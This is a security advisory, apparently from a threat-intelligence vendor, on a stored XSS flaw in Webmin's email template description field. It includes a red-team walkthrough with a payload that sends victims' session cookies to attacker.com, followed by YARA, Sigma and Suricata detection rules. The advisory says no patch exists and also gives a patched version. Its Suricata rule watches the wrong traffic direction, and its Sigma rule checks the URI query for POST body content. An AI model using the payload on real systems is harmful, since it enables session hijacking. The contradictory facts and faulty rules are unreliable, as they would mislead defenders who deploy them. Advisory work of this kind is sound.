CVE-2026-22678

Executive Summary

CVE-2026-22678 is a stored cross-site scripting (XSS) vulnerability in Webmin versions prior to 2.641. The flaw resides in the email template description field of the System and Server Status module. A low-privileged authenticated attacker can inject unsanitized input into the save_tmpl.cgi endpoint, which is later rendered without proper escaping in list_tmpls.cgi. This allows the attacker to execute arbitrary JavaScript in the context of other users' browsers, potentially leading to session hijacking, data theft, or further compromise of the Webmin instance. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known public exploit or patch.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is considered medium due to the requirement for authentication and the limited impact on confidentiality and integrity. However, the lack of user interaction and low attack complexity make it a viable vector for privilege escalation or lateral movement within a Webmin environment.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Webmin System and Server Status module. The flow is as follows:

1. Injection Point: The save_tmpl.cgi script accepts user input for the email template description field. This input is stored in the Webmin configuration database without proper sanitization or encoding.
2. Storage: The malicious payload is persisted in the backend, typically in a file or database associated with the module.
3. Trigger: When an administrator or another user views the list of email templates via list_tmpls.cgi, the stored description is rendered directly into the HTML page without escaping. This causes the injected JavaScript to execute in the victim's browser.
4. Impact: The attacker can perform actions such as stealing session cookies, redirecting users to malicious sites, or performing actions on behalf of the victim (e.g., creating new admin accounts, modifying system configurations).

The vulnerability is particularly dangerous because it requires only low privileges (e.g., a user with access to the System and Server Status module) and can be used to target higher-privileged users (e.g., administrators) who view the template list.

Vulnerable vs. Patched Code

Vulnerable Code (Webmin < 2.641):

In list_tmpls.cgi, the description field is output directly without HTML encoding:

# Vulnerable: direct output without escaping
print "<td>$desc</td>\n";

Patched Code (Webmin >= 2.641):

The patched version uses HTML escaping to neutralize any injected scripts:

# Patched: HTML-escaped output
use HTML::Entities;
print "<td>" . encode_entities($desc) . "</td>\n";

The fix ensures that characters like <, >, ", ', and & are converted to their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Webmin instance running version < 2.641.
• A low-privileged user account with access to the System and Server Status module.

Exploitation Steps:

1. Login to Webmin as a low-privileged user.
2. Navigate to the System and Server Status module.
3. Access the email template configuration (e.g., /sysinfo/save_tmpl.cgi).
4. Inject a malicious payload into the description field. Example payload:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload to steal cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

5. Save the template. The payload is now stored.
6. Wait for an administrator or another user to view the template list at /sysinfo/list_tmpls.cgi. The script executes in their browser.

Note: Since no public exploit code is available, this is a manual exploitation scenario.

Blue Team

Detection Steps:

1. Monitor Webmin access logs for unusual POST requests to save_tmpl.cgi containing HTML tags or JavaScript.
2. Inspect the list_tmpls.cgi responses for unescaped user input.
3. Use the detection rules provided in the Detection Engineering section.

Mitigation Steps:

1. Upgrade Webmin to version 2.641 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF (Web Application Firewall) to block XSS payloads in the description field.
3. Restrict access to the System and Server Status module to only trusted users.
4. Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /sysinfo/save_tmpl.cgi with payloads containing <script> tags or event handlers (e.g., onload, onerror).
  • GET requests to /sysinfo/list_tmpls.cgi with unusual referrer headers.
• File IOCs:
  • Modified template files in the Webmin configuration directory (e.g., /etc/webmin/sysinfo/templates/).
• Log IOCs:
  • Webmin access logs showing repeated access to save_tmpl.cgi and list_tmpls.cgi from the same user.
  • Error logs containing JavaScript syntax errors if the payload is malformed.

Detection Engineering

YARA Rule

rule CVE_2026_22678_Webmin_XSS {
    meta:
        description = "Detects stored XSS payloads in Webmin email template descriptions"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-22678"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Webmin Stored XSS in Email Template Description
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2026-22678 by injecting XSS payloads into the email template description field.
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22678
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/sysinfo/save_tmpl.cgi'
        cs-uri-query|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of HTML in template descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-22678 Webmin Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/sysinfo/save_tmpl.cgi"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Webmin to version 2.641 or later. If an upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads in the description field.
2. Configuration Changes: Restrict access to the System and Server Status module to only trusted users. Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.
3. Monitoring: Enable detailed logging for Webmin and monitor for suspicious activity as described in the Detection Engineering section.
4. User Education: Educate users about the risks of clicking on suspicious links or entering sensitive data in Webmin.

Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.